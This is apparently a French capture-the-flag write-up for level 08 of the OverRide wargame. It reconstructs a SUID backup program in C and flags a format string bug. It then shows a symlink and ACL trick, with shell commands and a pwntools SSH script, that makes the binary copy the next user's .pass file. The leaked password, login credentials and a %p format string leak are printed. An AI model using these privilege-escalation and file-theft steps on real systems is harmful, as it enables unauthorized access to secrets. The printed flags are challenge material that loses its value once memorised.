8. *Level 08*

```c
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

void    log_wrapper(FILE *file, char *msg, char *path)
{
    char    buff[254];
    int     len = 0;
    int     rmd = 0;

    strcpy(buff, msg);
    while (buff[len])
        len++;
    rmd = 254 - len;

    snprintf(buff+len, rmd, path);            // Format string vulnerability
    buff[strcspn(buff, "\n")] = '\0';
    fprintf(file, "LOG: %s\n", buff);
    return ;
}


int    main(int argc, char **argv)
{
    FILE    *file;
    FILE    *log;
    char    buff[100];
    char    c = 0;
    int     fd;

    if (argc != 2)
        printf("Usage: %s filename\n", argv[0]);

    log = fopen("./backups/.log", "w");
    if (log == 0)
    {
        printf("ERROR: Failed to open %s\n", "./backups/.log");
        exit(1);
    }

    log_wrapper(log, "Starting back up: ", argv[1]);
    file = fopen(argv[1], "r");
    if (file == 0)
    {
        printf("ERROR: Failed to open %s\n", argv[1]);
        exit(1);
    }
```

```
    char    *pre = "./backups/";
    int i = 0;
    while (pre[i])
        buff[i] = pre[i];
    buff[i] = '\0';

    i--;
    int rmd = 100 - i;
    strncat(buff, argv[i], rmd);

    fd = open(buff, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP |
S_IWGRP);
    if (fd < 0)
    {
        printf("ERROR: Failed to open %s%s\n", "./backups/", argv[1]);
        exit(1);
    }

    while (c != EOF)
    {
        c = fgetc(file);
        if (c != 0xff)
            write(fd, &c, 1);
    }

    log_wrapper(log, "Finished back up ", argv[1]);
    fclose(file);
    close(fd);
    return (0);
}
```

On est sur un binaire **x64**. Il n'y avait rien de particulièrement compliqué dans la reconstitution du code source. On note dans le répertoire **home** de l'utilisateur actuel un dossier **backups** qui appartient à **level09** (level suivant), avec un seul fichier vide, **.log** :

```
level08@OverRide:~$ ls -la
total 28
dr-xr-x---+ 1 level08 level08   100 Oct 19  2016 .
dr-x--x--x  1 root    root      260 Oct  2  2016 ..
drwxrwx---+ 1 level09 users      60 Oct 19  2016 backups
-r--------  1 level08 level08     0 Oct 19  2016 .bash_history
-rw-r--r--  1 level08 level08   220 Sep 10  2016 .bash_logout
lrwxrwxrwx  1 root    root        7 Sep 13  2016 .bash_profile -> .bashrc
-rw-r--r--  1 level08 level08  3533 Sep 10  2016 .bashrc
-rwsr-s---+ 1 level09 users   12975 Oct 19  2016 level08
-rw-r-xr--+ 1 level08 level08    41 Oct 19  2016 .pass
-rw-r--r--  1 level08 level08   675 Sep 10  2016 .profile
-r--------  1 level08 level08  2235 Oct 19  2016 .viminfo
level08@OverRide:~$ ls -la backups/
total 0
drwxrwx---+ 1 level09 users    60 Oct 19  2016 .
dr-xr-x---+ 1 level08 level08 100 Oct 19  2016 ..
-rwxrwx---+ 1 level09 users     0 Oct 19  2016 .log
```

Le programme fonctionne de la façon suivante :

> On ouvre le fichier `./backups/.log` (en écriture) et on y inscrit un message indiquant qu'on démarre l'action de log, grâce à la fonction **log_wrapper**.

> On ouvre le fichier `<filepath>` précisé dans le premier argument du programme (en lecture). Appelons-le **file**.

> On ouvre le fichier `./backup/<filepath>` (en écriture, avec les droits de lecture et d'écriture pour le propriétaire **et tous les utilisateurs du groupe users. Si le fichier existe déjà, on renvoie une erreur**). Appelons ce fichier **fd**.

> On écrit le contenu du fichier `<filepath>` dans `./backup/<filepath>`.

> On inscrit un message indiquant la fin de l'action de log dans `./backup/.log` grâce à la fonction **log_wrapper**.

Le premier instinct ici serait de leak le contenu du fichier /home/users/level09/.pass en faisant en sortes que le binaire l'ouvre et en inscrive le contenu dans le fichier d'output. Ce n'est cependant pas si simple, car imaginons qu'on donne au programme ce **path** :

```
./level08 /home/users/level09/.pass
```

Le programme n'aura aucun mal à ouvrire **file** (i.e. ce fichier) en lecture, car il est exécuté en tant que **level09**. Cependant, il va ensuite tenter d'ouvrir (en le créant s'il n'existe pas) le fichier **./backups//home/users/level09/.pass**. Il n'y arrivera pas car le dossier **/home/users/level09** n'existe pas dans le dossier **/backups** de notre dossier home actuel. On nous renverra une erreur et le programme s'arrêtera.

On pourrait essayer de bouger le binary (par exemple dans **/tmp**) et créer notre propre dossier **backups** avec les bons sous-dossiers, mais quand j'essayais de bouger le fichier binaire, l'ownership ne tenait pas et le fichier n'était plus SUID en plus d'appartenir à level08 (même avec les options de préservation de **cp** ou avec une action **mv**). Bref, il va nous falloir une autre stratégie à partir de notre dossier actuel. Le plan, de façon générale, est le suivant :

>Exécuter la commande suivante :
`./binary ../level08/lnk`

Pour le fichier d'input **file**, on revient d'un dossier en arrière puis on entre dans le dossier **level08** ; en d'autre termes, on reste sur place, et on ouvre le fichier **lnk** qui s'avérera être un lien symbolique vers `/home/users/level09/.pass`. Du point de vue du fichier d'output **fd**, on tente d'ouvrir le fichier `./backups/../level08/lnk` en écriture ; donc un fichier appartenant à un dossier **./level08** à partir du dossier home de l'utilisateur, qu'on aura préalablement créé avec les bons droits. Bref :

```
* argv[1]      --> ../level08/lnk
* log          --> ./backups/.log
* file         --> ../level08/lnk
* fd           --> ./backups/../level08/lnk
```

Tout cela fonctionnera : le lien symbolique sera ouvert correctement, de même que le fichier d'output qui correspondra à un fichier différent dont le dossier parent existe.

Pour créer la bonne configuration et que tout se déroule comme prévu, les étapes suivantes sont nécessaires :

> D'abord, effectuer un **chmod 777** sur le dossier actuel qui nous appartient en tant qu'utilisateur **level08**, pour avoir un peu plus de latitude sur la création de sous-dossiers / fichiers :

```
chmod 777 .
```

> Renommons notre fichier binaire et créons un dossier **level08** dans notre dossier home (qui s'appelle lui-même level08, mais peu importe) :

```
mv level08 binary
mkdir level08
```

> Il va falloir que l'utilisateur **level09** puisse écrire dans notre dossier `./level08` nouvellement créé, car c'est lui qui va recevoir le fichier d'ouput. On remarque que ce dossier a des **ACL étendus** (petit signe "+" à côté des permissions classiques). C'est normal, car notre dossier courant a défini des ACLs par défaut qui s'appliquent à tous les répertoires et fichiers créés dans ce dossier (pour en savoir plus sur ces ACLs). Les permissions, actuellement, sont les suivantes pour le dossier qu'on vient de créer :

```
level08@OverRide:~$ getfacl level08
# file: level08
# owner: level08
# group: level08
user::r-x
user:level08:r-x
user:level09:r-x
group::---
mask::r-x
other::---
default:user::r-x
default:user:level08:r-x
default:user:level09:r-x
default:group::---
default:mask::r-x
default:other::---
```

L'utilisateur **level09** n'a pas les droits d'écriture dans notre dossier ; on va les lui ajouter (on peut le faire car on est le owner de l'objet) :

```
setfacl -m u:level09:rwx ./level08/
```

> On crée le **symbolic link** à la racine de notre dossier home ; c'est lui que le fichier d'input va ouvrir :

```
ln -s /home/users/level09/.pass lnk
```

> Exécuter le binaire renommé :

```
./binary ../level08/lnk
```

```
level08@OverRide:~$ ls -la
total 28
drwxrwxrwx+ 1 level08 level08   140 Dec 10 23:26 .
dr-x--x--x  1 root    root      260 Oct  2  2016 ..
drwxrwx---+ 1 level09 users      60 Oct 19  2016 backups
-r--------  1 level08 level08     0 Oct 19  2016 .bash_history
-rw-r--r--  1 level08 level08   220 Sep 10  2016 .bash_logout
lrwxrwxrwx  1 root    root        7 Sep 13  2016 .bash_profile -> .bashrc
-rw-r--r--  1 level08 level08  3533 Sep 10  2016 .bashrc
-rwsr-s---+ 1 level09 users   12975 Oct 19  2016 binary
dr-xrwx---+ 2 level08 level08    40 Dec 10 23:04 level08
lrwxrwxrwx  1 level08 level08    25 Dec 10 23:26 lnk -> /home/users/level09/.pass
-rw-r-xr--+ 1 level08 level08    41 Oct 19  2016 .pass
-rw-r--r--  1 level08 level08   675 Sep 10  2016 .profile
-r--------  1 level08 level08  2235 Oct 19  2016 .viminfo
level08@OverRide:~$ ./binary ../level08/lnk
level08@OverRide:~$ cat level08/lnk
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
```

>> Exploitation manuelle

On suit simplement toutes les étapes précédentes :

```
$ chmod 777 .
$ mv level08 binary
$ mkdir level08
$ setfacl -m u:level09:rwx ./level08/
$ ln -s /home/users/level09/.pass lnk
$ ./binary ../level08/lnk
$ cat level08/lnk
```

>> Exploit automatique

```python
from pwn import *

s = ssh(host="192.168.1.3", port=4242, user="level08",
password="7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC")
p = s.process(["/bin/sh", "-c", "chmod 777 . && mv level08 binary && mkdir
level08 && setfacl -m u:level09:rwx level08/ && ln -s /home/users/level09/.pass
lnk && ./binary ../level08/lnk"])

p = s.process(["/bin/cat", "level08/lnk"])
p.interactive()
```

NOTE : Il ne s'agissait probablement pas de la résolution attendue pour ce level. En effet, le programme comporte une **format string vulnerability** assez évidente (notée dans la retranscription du code source ci-dessus). En effet, la fonction **snprintf** qui écrit dans le fichier de log accepte en chaîne de format une variable qu'on contrôle (argv[1], censé être le nom de fichier). Ainsi, on peut faire quelque chose comme :

```
level08@OverRide:~$ ./binary '%p | %p | %p'
ERROR: Failed to open %p | %p | %p
level08@OverRide:~$ cat backups/.log
LOG: Starting back up: 0xffffffffffffffec | 0xec | 0x400d6c
```

Les format specifiers sont bien interprétés, la faille est présente. J'ai un peu la flemme de mettre en application la faille, mais **NX** est désactivé, tout comme le PIE, et on dispose de variables d'environnement où mettre du shellcode donc ça devrait pas être très compliqué.